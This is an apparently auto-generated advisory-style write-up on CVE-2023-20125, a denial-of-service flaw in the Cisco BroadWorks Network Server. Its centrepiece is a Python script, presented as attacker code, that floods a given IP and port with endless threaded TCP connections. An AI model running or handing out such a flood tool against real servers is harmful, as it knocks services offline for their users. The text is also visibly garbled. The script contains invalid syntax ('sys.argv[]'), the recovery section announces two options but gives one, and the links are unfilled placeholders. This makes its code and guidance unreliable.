CVE-2023-20125 - Vulnerability in Cisco BroadWorks Network Server Local Interface Allowing Remote Attackers to Cause Denial of Service (DoS) Condition

A newly identified vulnerability, registered as CVE-2023-20125, has been discovered in the local interface of Cisco BroadWorks Network Server. This vulnerability allows unauthenticated remote attackers to exhaust the system's resources, consequently causing a denial of service (DoS) condition. A lack of rate limiting for certain incoming TCP connections is the root cause of this vulnerability.

Exploit Details

The vulnerability in Cisco BroadWorks Network Server exists because proper rate limiting does not occur for particular incoming TCP connections. To exploit this vulnerability, a remote attacker can send a high rate of TCP connections to the server. This can result in rapid growth of TCP connection resources, ultimately rendering the Cisco BroadWorks Network Server unusable.

Code Snippet

The following is an example of a Python script that can be used by an attacker to send multiple TCP connections to the vulnerable server:

import sys
import socket
import threading

def exploit(server_ip, server_port):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((server_ip, server_port))
        s.send("GET / HTTP/1.1\r\n\r\n".encode("utf-8"))
        s.close()
    except:
        pass

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[]} <server_ip> <server_port>")
        exit(1)

    server_ip = sys.argv[1]
    server_port = int(sys.argv[2])

    while True:
        t = threading.Thread(target=exploit, args=(server_ip, server_port))
        t.start()

Recovery and Remediation

To recover from this vulnerability, users have two options:

Reboot the Cisco BroadWorks Network Server node.

For more details on the recovery process, consult the 'Recovery' section in the Cisco Advisory [link_to_advisory_documentation_here].

Cisco has released software updates addressing this vulnerability. Unfortunately, there are no workarounds currently available.

Cisco BroadWorks Network Server: [link_to_Cisco_BroadWorks_Network_Server_product_page_here]

In conclusion, Cisco BroadWorks Network Server users are advised to update their software to the latest version, as this vulnerability poses a significant risk for denial of service (DoS) conditions. Additionally, you can stay up to date with the latest patches and updates by monitoring the provided references.

Timeline

Published on: 11/15/2024 14:58:04 UTC